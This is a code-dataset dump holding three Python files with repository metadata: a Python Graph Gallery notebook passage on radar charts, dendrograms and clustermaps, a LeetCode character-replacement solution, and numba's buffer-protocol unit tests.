Libraries\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nfrom math import pi\r\n\r\n\r\n# Set data\r\ndf = pd.DataFrame({\r\n    'group': ['A','B','C','D'],\r\n\t'var1': [38, 1.5, 30, 4], \r\n\t'var2': [29, 10, 9, 34], \r\n\t'var3': [8, 39, 23, 24], \r\n\t'var4': [7, 31, 33, 14], \r\n\t'var5': [28, 15, 32, 14]\r\n\t})\r\n\r\n    \r\n    \r\n    \r\n# ------- PART 1: Define a function that do a plot for one line of the dataset!\r\n\r\ndef make_spider( row, title, color):\r\n    \r\n    # number of variable\r\n    categories=list(df)[1:]\r\n    N = len(categories)\r\n\r\n    # What will be the angle of each axis in the plot? (we divide the plot / number of variable)\r\n    angles = [n / float(N) * 2 * pi for n in range(N)]\r\n    angles += angles[:1]\r\n\r\n    # Initialise the spider plot\r\n    ax = plt.subplot(2,2,row+1, polar=True, )\r\n\r\n    # If you want the first axis to be on top:\r\n    ax.set_theta_offset(pi / 2)\r\n    ax.set_theta_direction(-1)\r\n\r\n    # Draw one axe per variable + add labels labels yet\r\n    plt.xticks(angles[:-1], categories, color='grey', size=8)\r\n\r\n    # Draw ylabels\r\n    ax.set_rlabel_position(0)\r\n    plt.yticks([10,20,30], [\"10\",\"20\",\"30\"], color=\"grey\", size=7)\r\n    plt.ylim(0,40)\r\n\r\n    # Ind1\r\n    values=df.loc[row].drop('group').values.flatten().tolist()\r\n    values += values[:1]\r\n    ax.plot(angles, values, color=color, linewidth=2, linestyle='solid')\r\n    ax.fill(angles, values, color=color, alpha=0.4)\r\n\r\n    # Add a title\r\n    plt.title(title, size=11, color=color, y=1.1)\r\n\r\n\r\n\r\n\r\n# ------- PART 2: Apply to all individuals\r\n# initialize the figure\r\nmy_dpi=96\r\nplt.figure(figsize=(1000/my_dpi, 1000/my_dpi), dpi=my_dpi)\r\n\r\n# Create a color palette:\r\nmy_palette = plt.cm.get_cmap(\"Set2\", len(df.index))\r\n\r\n# Loop to plot\r\nfor row in range(0, len(df.index)):    \r\n    make_spider( row=row, title='group '+df['group'][row], color=my_palette(row))\r\n\r\n# save as png\r\nplt.savefig('PNG/#393_Faceting_and_Radarchart2.png', dpi=96, bbox_inches='tight')\r\n        \r\n\r\n            \r\n            \r\n            \r\n            \r\n            \r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #400 -> #410 TREE DIAGRAM / DENDROGRAM\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n# BAD CHART:\r\n# - Categorical or Diverging palette for heatmap See http://www.kdnuggets.com/2016/03/4-lessons-brilliant-data-visualization.html\r\n# - \r\n\r\nA dendrogram (from Greek dendro \"tree\" and gramma \"drawing\") is a tree diagram frequently used to illustrate the arrangement of the clusters produced by hierarchical clustering.[1] Dendrograms are often used in computational biology to illustrate the clustering of genes or samples, sometimes on top of heatmaps.\r\n\r\n\r\n\r\n# Repo\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 400 Basic Dendrogram\r\n\r\n# Libraries\r\nimport pandas as pd\r\nfrom matplotlib import pyplot as plt\r\nfrom scipy.cluster.hierarchy import dendrogram, linkage\r\nimport numpy as np\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Data set\r\nurl = 'https://python-graph-gallery.com/wp-content/uploads/mtcars.csv'\r\ndf = pd.read_csv(url)\r\ndf = df.set_index('model')\r\ndel df.index.name\r\ndf\r\n\r\n# Calculate the distance between each sample\r\n# You have to think:\r\n\r\n# - METHOD ?\r\n# How to calculate the distance between 2 groups.\r\n\r\n# - METRIC ?\r\n# how to calculate the distance between each pair? # Euclidean distance? Or correlation?\r\n# Normalize it or not\r\n# Doc: http://docs.scipy.org/doc/scipy/reference/generated/scipy.cluster.hierarchy.linkage.html\r\nZ = linkage(df, 'ward')\r\nZ\r\n\r\n# Make the dendrogram\r\nplt.title('Hierarchical Clustering Dendrogram')\r\nplt.xlabel('sample index')\r\nplt.ylabel('distance (Ward)')\r\ndendrogram(Z, labels=df.index, leaf_rotation=90)\r\n\r\nplt.savefig('PNG/#400_Basic_Dendrogram.png', dpi=96, bbox_inches='tight')\r\n\r\n\r\n\r\n\r\n\r\n            \r\n            \r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 401 Dendrogram customizations\r\n\r\n# Libraries\r\nimport pandas as pd\r\nfrom matplotlib import pyplot as plt\r\nfrom scipy.cluster import  hierarchy\r\nimport numpy as np\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Data set\r\nurl = 'https://python-graph-gallery.com/wp-content/uploads/mtcars.csv'\r\ndf = pd.read_csv(url)\r\ndf = df.set_index('model')\r\ndel df.index.name\r\ndf\r\n\r\n# Calculate the distance between each sample\r\nZ = hierarchy.linkage(df, 'ward')\r\nZ\r\n\r\n# Custom leaves\r\n#hierarchy.dendrogram(Z, leaf_rotation=90, leaf_font_size=8, labels=df.index)\r\n#plt.savefig('PNG/#401_custom_Dendrogram1.png', dpi=96, bbox_inches='tight')\r\n\r\n# Control number of clusters\r\nhierarchy.dendrogram(Z, color_threshold=240)\r\nplt.axhline(y=240, c='grey', lw=1, linestyle='dashed')\r\nplt.savefig('PNG/#401_custom_Dendrogram2.png', dpi=96, bbox_inches='tight')\r\n\r\n# Control color palette used for cluster\r\n#my_palette = plt.cm.get_cmap(\"Set1\", 3)\r\nhierarchy.set_link_color_palette(['#b30000','#996600', '#b30086'])\r\nhierarchy.dendrogram(Z, color_threshold=240, above_threshold_color='grey')\r\nplt.axhline(y=240, c='grey', lw=1, linestyle='dashed')\r\nplt.savefig('PNG/#401_custom_Dendrogram3.png', dpi=96, bbox_inches='tight')\r\n\r\n\r\n# Truncate the dendrogram\r\nhierarchy.dendrogram(Z, truncate_mode = 'lastp', p=4 ) # -> you will have 4 leaf at the bottom of the plot\r\nplt.savefig('PNG/#401_custom_Dendrogram4.png', dpi=96, bbox_inches='tight')\r\nhierarchy.dendrogram(Z, truncate_mode = 'level', p=2)  # ->  No more than ``p`` levels of the dendrogram tree are displayed.\r\nplt.savefig('PNG/#401_custom_Dendrogram5.png', dpi=96, bbox_inches='tight')\r\n\r\n\r\n# Orientation of the dendrogram\r\nhierarchy.dendrogram(Z, orientation=\"right\", labels=df.index)\r\nplt.savefig('PNG/#401_custom_Dendrogram6.png', dpi=96, bbox_inches='tight')\r\nhierarchy.dendrogram(Z, orientation=\"left\", labels=df.index)\r\nplt.savefig('PNG/#401_custom_Dendrogram7.png', dpi=96, bbox_inches='tight')\r\n\r\n            \r\n\r\n\r\n            \r\n            \r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 402 Custom leaf label in dendrogram\r\n\r\n# Often we want to compare the cluster we observe with the cluster we expect.\r\n# To do so, we can color the labels with the cluster we expect:\r\n\r\n# Libraries\r\nimport pandas as pd\r\nfrom matplotlib import pyplot as plt\r\nfrom scipy.cluster.hierarchy import dendrogram, linkage\r\nimport numpy as np\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Data set\r\nurl = 'https://python-graph-gallery.com/wp-content/uploads/mtcars.csv'\r\ndf = pd.read_csv(url)\r\ndf = df.set_index('model')\r\ndel df.index.name\r\ndf\r\n\r\n# Calculate the distance between each sample\r\nZ = linkage(df, 'ward')\r\nZ\r\n\r\n# Make the dendro\r\ndendrogram(Z, labels=df.index, leaf_rotation=0, orientation=\"left\", color_threshold=240, above_threshold_color='grey')\r\n           \r\n# Create a color palette with 3 color for the 3 cyl possibilities\r\nmy_palette = plt.cm.get_cmap(\"Accent\", 3)\r\n\r\n# \r\ndf['cyl']=pd.Categorical(df['cyl'])\r\nmy_color=df['cyl'].cat.codes\r\n\r\n# Apply the right color to each label\r\nax = plt.gca()\r\nxlbls = ax.get_ymajorticklabels()\r\nnum=-1\r\nfor lbl in xlbls:\r\n    num+=1\r\n    val=my_color[num]\r\n    lbl.set_color(my_palette(val))\r\n\r\nplt.savefig('PNG/#402_leaf_labal_color.png', dpi=96, bbox_inches='tight')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 403 Highly customized dendrogram\r\n    \r\n    \r\n    \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 404 Dendro + Heatmap\r\n\r\nsee http://seaborn.pydata.org/generated/seaborn.clustermap.html\r\n\r\n# Libraries\r\nimport seaborn as sns\r\nimport pandas as pd\r\nfrom matplotlib import pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Data set\r\nurl = 'https://python-graph-gallery.com/wp-content/uploads/mtcars.csv'\r\ndf = pd.read_csv(url)\r\ndf = df.set_index('model')\r\ndel df.index.name\r\ndf\r\n\r\n# Default plot\r\nsns.clustermap(df)\r\nplt.savefig('PNG/#404_Dendro_and_heatmap1.png', dpi=96, bbox_inches='tight')\r\n# Here we have a problem: disp and hp have values way higher than other variable. So every\r\n# other variable appear to be black, because they are so small compared to disp and hp.\r\n# To avoid that we need to normalize or standardize our data:\r\n\r\n# Standardize or Normalize every column\r\n# Standardize:\r\nsns.clustermap(df, standard_scale=1)\r\nplt.savefig('PNG/#404_Dendro_and_heatmap2.png', dpi=96, bbox_inches='tight')\r\n# Normalize\r\nsns.clustermap(df, z_score=1)\r\nplt.savefig('PNG/#404_Dendro_and_heatmap3.png', dpi=96, bbox_inches='tight')\r\n\r\n# OK now we can compare our individuals. But how do you determine the similarity between 2 cars?\r\n# Several way to calculate that. the 2 most common ways are: correlation and euclidean distance?\r\nsns.clustermap(df, metric=\"correlation\", standard_scale=1)\r\nplt.savefig('PNG/#404_Dendro_and_heatmap4.png', dpi=96, bbox_inches='tight')\r\nsns.clustermap(df, metric=\"euclidean\", standard_scale=1)\r\nplt.savefig('PNG/#404_Dendro_and_heatmap5.png', dpi=96, bbox_inches='tight')\r\n# It is a really important choice. See https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.distance.pdist.html for more info.\r\n\r\n# OK now we determined the distance between 2 individuals. But how to do the clusterisation? Several methods exist. \r\n# Here are 2 examples. See https://docs.scipy.org/doc/scipy/reference/generated/scipy.cluster.hierarchy.linkage.html for more information.\r\n# If you have no idea, ward is probably a good start.\r\nsns.clustermap(df, metric=\"euclidean\", standard_scale=1, method=\"single\")\r\nplt.savefig('PNG/#404_Dendro_and_heatmap6.png', dpi=96, bbox_inches='tight')\r\nsns.clustermap(df, metric=\"euclidean\", standard_scale=1, method=\"ward\")\r\nplt.savefig('PNG/#404_Dendro_and_heatmap7.png', dpi=96, bbox_inches='tight')\r\n\r\n# CHange color palette\r\nsns.clustermap(df, metric=\"euclidean\", standard_scale=1, method=\"ward\", cmap=\"mako\")\r\nplt.savefig('PNG/#404_Dendro_and_heatmap8.png', dpi=96, bbox_inches='tight')\r\nsns.clustermap(df, metric=\"euclidean\", standard_scale=1, method=\"ward\", cmap=\"viridis\")\r\nplt.savefig('PNG/#404_Dendro_and_heatmap9.png', dpi=96, bbox_inches='tight')\r\nsns.clustermap(df, metric=\"euclidean\", standard_scale=1, method=\"ward\", cmap=\"Blues\")\r\nplt.savefig('PNG/#404_Dendro_and_heatmap10.png', dpi=96, bbox_inches='tight')\r\n\r\n# Ignore outliers\r\n# Let's create an outlier in the dataset:\r\ndf.drat[15]=1000\r\nsns.clustermap(df,  robust=True)\r\nplt.savefig('PNG/#404_Dendro_and_heatmap11.png', dpi=96, bbox_inches='tight')\r\nsns.clustermap(df,  robust=False)\r\nplt.savefig('PNG/#404_Dendro_and_heatmap12.png', dpi=96, bbox_inches='tight')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n# 404 Dendro + Heatmap with colored labels\r\n\r\nsee http://seaborn.pydata.org/generated/seaborn.clustermap.html\r\n\r\n# Libraries\r\nimport seaborn as sns\r\nimport pandas as pd\r\nfrom matplotlib import pyplot as plt\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Data set\r\nurl = 'https://python-graph-gallery.com/wp-content/uploads/mtcars.csv'\r\ndf = pd.read_csv(url)\r\ndf = df.set_index('model')\r\ndf\r\n\r\n\r\n# Prepare a vector of color mapped to the 'cyl' column\r\nmy_palette = dict(zip(df.cyl.unique(), [\"orange\",\"yellow\",\"brown\"]))\r\nrow_colors = df.cyl.map(my_palette)\r\n\r\n# plot\r\nsns.clustermap(df, metric=\"correlation\", method=\"single\", cmap=\"Blues\", standard_scale=1,  row_colors=row_colors)\r\nplt.savefig('PNG/#405_Dendro_and_heatmap_and_rowcolor.png', dpi=96, bbox_inches='tight')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n            \r\n            \r\n            \r\n            \r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #410 -> #420 CIRCLE PACKING OR CIRCULAR TREEMAP\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\nAlthough circle packing is not as space-efficient as a treemap, it better reveals the hierarchy.\r\n\r\nSome of\r\nthese uses enclosure and position rather than edges to communicate relations\r\n\r\nWhile the bubbles are flashy and are fun to watch move around, they may not be the best visual form to display your information in. In most cases, when bubbles are used to encode a single variable, the two dimensional bubble inflates and obscures the one dimensional value it is attempting to display.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n", "meta": {"hexsha": "f3c44ab208f8d2dd1f9d70a65e8114dc34c5778b", "size": 262891, "ext": "py", "lang": "Python", "max_stars_repo_path": "PGG_notebook.py", "max_stars_repo_name": "vishalvishw10/The-Python-Graph-Gallery", "max_stars_repo_head_hexsha": "9b7b42690cb71df8000c64f542f94e284a4bda91", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-12-12T22:42:30.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-12T22:42:30.000Z", "max_issues_repo_path": "PGG_notebook.py", "max_issues_repo_name": "vishalvishw10/The-Python-Graph-Gallery", "max_issues_repo_head_hexsha": "9b7b42690cb71df8000c64f542f94e284a4bda91", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "PGG_notebook.py", "max_forks_repo_name": "vishalvishw10/The-Python-Graph-Gallery", "max_forks_repo_head_hexsha": "9b7b42690cb71df8000c64f542f94e284a4bda91", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2019-12-12T22:42:32.000Z", "max_forks_repo_forks_event_max_datetime": "2020-04-19T18:27:31.000Z", "avg_line_length": 25.4764027522, "max_line_length": 1129, "alphanum_fraction": 0.6361305636, "include": true, "reason": "import numpy,from numpy,from scipy,import networkx", "num_tokens": 75869, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.14608725262486594, "lm_q1q2_score": 0.07304362631243297}}
{"text": "from numpy import kaiser\n\n\nclass Solution:\n    def characterReplacement(self, s: str, k: int) -> int:\n        dir = {}\n        res = 0\n        l= 0\n        for i in range(len(s)):\n            dir[s[i]] = 1 + dir.get(s[i], 0)\n            \n            if i-l+1 - max(dir.values()) > k:\n                \n                dir[s[l]] -= 1\n                l +=1\n            res = max(res, i-l+1)\n        return res\n    # \u5229\u7528hashmap\u6765\u5b58\u50a8\u9891\u7387\u548c\u503c\n    # \u904d\u5386string\uff0c\u66f4\u65b0hashmap\n    # \u5982\u679c\u5f53\u524d\u7a97\u53e3\u957f\u5ea6\u548c\u51fa\u73b0\u9891\u7387\u6700\u9ad8\u7684\u503c\u7684\u5dee\u5927\u4e8ek\uff0c\u90a3\u5c31\u5c06\u7a97\u53e3\u53f3\u79fb\u3002\u5de6\u6307\u9488+1\n    # \u66f4\u65b0result", "meta": {"hexsha": "3faf17f4f9a1b1f9c59d73ddae52659ecbf8a05e", "size": 512, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/string/med/characterReplacement.py", "max_stars_repo_name": "zerone0x/leetcode-revise", "max_stars_repo_head_hexsha": "c70137b7baab4b8a1122cca9a83d2793e7a2621c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python/string/med/characterReplacement.py", "max_issues_repo_name": "zerone0x/leetcode-revise", "max_issues_repo_head_hexsha": "c70137b7baab4b8a1122cca9a83d2793e7a2621c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/string/med/characterReplacement.py", "max_forks_repo_name": "zerone0x/leetcode-revise", "max_forks_repo_head_hexsha": "c70137b7baab4b8a1122cca9a83d2793e7a2621c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.380952381, "max_line_length": 58, "alphanum_fraction": 0.453125, "include": true, "reason": "from numpy", "num_tokens": 185, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.14608725262486594, "lm_q1q2_score": 0.07304362631243297}}
{"text": "from __future__ import print_function, division, absolute_import\n\nimport array\nimport sys\n\nimport numpy as np\n\nfrom numba import unittest_support as unittest\nfrom numba import jit\nfrom .support import TestCase, compile_function, MemoryLeakMixin\n\n\n@jit(nopython=True)\ndef len_usecase(buf):\n    return len(buf)\n\n\n@jit(nopython=True)\ndef getitem_usecase(buf, i):\n    return buf[i]\n\n\n@jit(nopython=True)\ndef getslice_usecase(buf, i, j):\n    s = buf[i:j]\n    return s[0] + 2 * s[-1]\n\n\n@jit(nopython=True)\ndef setitem_usecase(buf, i, v):\n    buf[i] = v\n\n\n@jit(nopython=True)\ndef iter_usecase(buf):\n    res = 0.0\n    for i, x in enumerate(buf):\n        res += x\n        res *= i + 1\n    return res\n\n\ndef attrgetter(attr):\n    code = \"\"\"def func(x):\n        return x.%(attr)s\n\"\"\" % locals()\n    pyfunc = compile_function(\"func\", code, globals())\n    return jit(nopython=True)(pyfunc)\n\n\ncontiguous_usecase = attrgetter(\"contiguous\")\nc_contiguous_usecase = attrgetter(\"c_contiguous\")\nf_contiguous_usecase = attrgetter(\"f_contiguous\")\nitemsize_usecase = attrgetter(\"itemsize\")\nnbytes_usecase = attrgetter(\"nbytes\")\nndim_usecase = attrgetter(\"ndim\")\nreadonly_usecase = attrgetter(\"readonly\")\nshape_usecase = attrgetter(\"shape\")\nstrides_usecase = attrgetter(\"strides\")\n\n# On Python 2, array.array doesn't support the PEP 3118 buffer API\narray_supported = sys.version_info >= (3,)\n# On Python 2, bytes is really the str object\nbytes_supported = sys.version_info >= (3,)\n# On Python 2, indexing a memoryview returns bytes\nmemoryview_structured_indexing = sys.version_info >= (3,)\n\n\n@unittest.skipIf(sys.version_info < (2, 7),\n                 \"buffer protocol not supported on Python 2.6\")\nclass TestBufferProtocol(MemoryLeakMixin, TestCase):\n    \"\"\"\n    Test operations on buffer-providing objects.\n    \"\"\"\n\n    def _arrays(self):\n        n = 10\n        for letter, offset in [\n            ('b', -3),\n            ('B', 0),\n            ('h', -5000),\n            ('H', 40000),\n            ('i', -100000),\n            ('I', 1000000),\n            ('l', -100000),\n            ('L', 1000000),\n            ('q', -2**60),\n            ('Q', 2**63 + 1),\n            ('f', 1.5),\n            ('d', -1.5),\n            ]:\n            yield array.array(letter, [i + offset for i in range(n)])\n\n    def _memoryviews(self):\n        n = 10\n        yield memoryview(bytearray(b\"abcdefghi\"))\n        yield memoryview(b\"abcdefghi\")\n        # Different item types\n        for dtype, start, stop in [\n            ('int8', -10, 10),\n            ('uint8', 0, 10),\n            ('int16', -5000, 1000),\n            ('uint16', 40000, 50000),\n            ('int32', -100000, 100000),\n            ('uint32', 0, 1000000),\n            ('int64', -2**60, 10),\n            ('uint64', 0, 2**64 - 10),\n            ('float32', 1.5, 3.5),\n            ('float64', 1.5, 3.5),\n            ('complex64', -8j, 12 + 5j),\n            ('complex128', -8j, 12 + 5j),\n            ]:\n            yield memoryview(np.linspace(start, stop, n).astype(dtype))\n        # Different layouts\n        arr = np.arange(12).reshape((3, 4))\n        assert arr.flags.c_contiguous and not arr.flags.f_contiguous\n        yield memoryview(arr)\n        arr = arr.T\n        assert arr.flags.f_contiguous and not arr.flags.c_contiguous\n        yield memoryview(arr)\n        arr = arr[::2]\n        assert not arr.flags.f_contiguous and not arr.flags.c_contiguous\n        yield memoryview(arr)\n\n    def _readonlies(self):\n        if bytes_supported:\n            yield b\"xyz\"\n        if memoryview_structured_indexing:\n            yield memoryview(b\"abcdefghi\")\n            arr = np.arange(5)\n            arr.setflags(write=False)\n            yield memoryview(arr)\n\n    def _check_unary(self, jitfunc, *args):\n        pyfunc = jitfunc.py_func\n        self.assertPreciseEqual(jitfunc(*args), pyfunc(*args))\n\n    def check_len(self, obj):\n        self._check_unary(len_usecase, obj)\n\n    def check_iter(self, obj):\n        self._check_unary(iter_usecase, obj)\n\n    def check_getitem(self, obj):\n        # Be careful to index all dimensions, since we don't support\n        # partial indexing yet.\n        def yield_indices(obj):\n            try:\n                shape = obj.shape\n            except AttributeError:\n                shape = len(obj),\n            for tup in np.ndindex(shape):\n                # Simple 1d buffer-providing objects usually don't support\n                # tuple indexing.\n                if len(tup) == 1:\n                    yield tup[0]\n                else:\n                    yield tup\n\n        for i in yield_indices(obj):\n            try:\n                expected = obj[i]\n            except (NotImplementedError, TypeError):\n                if isinstance(obj, memoryview):\n                    # The memoryview object doesn't support all codes yet,\n                    # fall back on the underlying object.\n                    expected = obj.obj[i]\n                else:\n                    raise\n            self.assertPreciseEqual(getitem_usecase(obj, i), expected)\n\n    def check_setitem(self, obj):\n        for i in range(len(obj)):\n            orig = list(obj)\n            val = obj[i] // 2 + 1\n            setitem_usecase(obj, i, val)\n            self.assertEqual(obj[i], val)\n            for j, val in enumerate(orig):\n                if j != i:\n                    self.assertEqual(obj[j], val)\n\n    def check_getslice(self, obj):\n        self._check_unary(getslice_usecase, obj, 1, len(obj) - 1)\n\n    def test_len(self):\n        self.check_len(bytearray(5))\n        if bytes_supported:\n            self.check_len(b\"xyz\")\n        for mem in self._memoryviews():\n            self.check_len(mem)\n        if array_supported:\n            for arr in self._arrays():\n                self.check_len(arr)\n        for buf in self._readonlies():\n            self.check_getitem(buf)\n\n    def test_getitem(self):\n        self.check_getitem(bytearray(b\"abc\"))\n        if bytes_supported:\n            self.check_getitem(b\"xyz\")\n        if memoryview_structured_indexing:\n            for mem in self._memoryviews():\n                self.check_getitem(mem)\n        if array_supported:\n            for arr in self._arrays():\n                self.check_getitem(arr)\n        for buf in self._readonlies():\n            self.check_getitem(buf)\n\n    def test_getslice(self):\n        with self.assertTypingError():\n            self.check_getslice(bytearray(b\"abcde\"))\n        if bytes_supported:\n            self.check_getslice(b\"xyzuvw\")\n        if memoryview_structured_indexing:\n            self.check_getslice(memoryview(b\"xyzuvw\"))\n        if array_supported:\n            with self.assertTypingError():\n                self.check_getslice(array.array('i', range(10)))\n        for buf in self._readonlies():\n            self.check_getitem(buf)\n\n    def test_setitem(self):\n        self.check_setitem(bytearray(b\"abcdefghi\"))\n        if array_supported:\n            for arr in self._arrays():\n                self.check_setitem(arr)\n        if memoryview_structured_indexing:\n            for mem in self._memoryviews():\n                self.check_getitem(mem)\n        # Read-only buffers\n        for buf in self._readonlies():\n            with self.assertTypingError():\n                self.check_setitem(buf)\n\n    def test_iter(self):\n        self.check_iter(bytearray(b\"abc\"))\n        if bytes_supported:\n            self.check_iter(b\"xyz\")\n        if memoryview_structured_indexing:\n            self.check_iter(memoryview(b\"xyz\"))\n        if array_supported:\n            for arr in self._arrays():\n                self.check_iter(arr)\n        for buf in self._readonlies():\n            self.check_getitem(buf)\n\n\n@unittest.skipUnless(sys.version_info >= (2, 7),\n                     \"memoryview doesn't exist on 2.6\")\nclass TestMemoryView(MemoryLeakMixin, TestCase):\n    \"\"\"\n    Test memoryview-specific attributes and operations.\n    \"\"\"\n\n    def _arrays(self):\n        arr = np.arange(12)\n        yield arr\n        arr = arr.reshape((3, 4))\n        yield arr\n        yield arr.T\n        yield arr[::2]\n        arr.setflags(write=False)\n        yield arr\n        arr = np.zeros(())\n        assert arr.ndim == 0\n        yield arr\n\n    def test_ndim(self):\n        for arr in self._arrays():\n            m = memoryview(arr)\n            self.assertPreciseEqual(ndim_usecase(m), arr.ndim)\n\n    def test_shape(self):\n        for arr in self._arrays():\n            m = memoryview(arr)\n            self.assertPreciseEqual(shape_usecase(m), arr.shape)\n\n    def test_strides(self):\n        for arr in self._arrays():\n            m = memoryview(arr)\n            self.assertPreciseEqual(strides_usecase(m), arr.strides)\n\n    def test_itemsize(self):\n        for arr in self._arrays():\n            m = memoryview(arr)\n            self.assertPreciseEqual(itemsize_usecase(m), arr.itemsize)\n\n    def test_nbytes(self):\n        for arr in self._arrays():\n            m = memoryview(arr)\n            self.assertPreciseEqual(nbytes_usecase(m), arr.size * arr.itemsize)\n\n    def test_readonly(self):\n        for arr in self._arrays():\n            m = memoryview(arr)\n            self.assertIs(readonly_usecase(m), not arr.flags.writeable)\n        m = memoryview(b\"xyz\")\n        self.assertIs(readonly_usecase(m), True)\n        m = memoryview(bytearray(b\"xyz\"))\n        self.assertIs(readonly_usecase(m), False)\n\n    @unittest.skipUnless(sys.version_info >= (3,),\n                         \"memoryview.*contiguous doesn't exist on 2.7\")\n    def test_contiguous(self):\n        m = memoryview(bytearray(b\"xyz\"))\n        self.assertIs(contiguous_usecase(m), True)\n        self.assertIs(c_contiguous_usecase(m), True)\n        self.assertIs(f_contiguous_usecase(m), True)\n        for arr in self._arrays():\n            m = memoryview(arr)\n            # Note `arr.flags.contiguous` is wrong (it mimicks c_contiguous)\n            self.assertIs(contiguous_usecase(m),\n                          arr.flags.f_contiguous or arr.flags.c_contiguous)\n            self.assertIs(c_contiguous_usecase(m), arr.flags.c_contiguous)\n            self.assertIs(f_contiguous_usecase(m), arr.flags.f_contiguous)\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "401e113cb79b225af6ba0633267f2efac108a60f", "size": 10148, "ext": "py", "lang": "Python", "max_stars_repo_path": "pkgs/numba-0.24.0-np110py27_0/lib/python2.7/site-packages/numba/tests/test_buffer_protocol.py", "max_stars_repo_name": "wangyum/anaconda", "max_stars_repo_head_hexsha": "6e5a0dbead3327661d73a61e85414cf92aa52be6", "max_stars_repo_licenses": ["Apache-2.0", "BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pkgs/numba-0.24.0-np110py27_0/lib/python2.7/site-packages/numba/tests/test_buffer_protocol.py", "max_issues_repo_name": "wangyum/anaconda", "max_issues_repo_head_hexsha": "6e5a0dbead3327661d73a61e85414cf92aa52be6", "max_issues_repo_licenses": ["Apache-2.0", "BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, 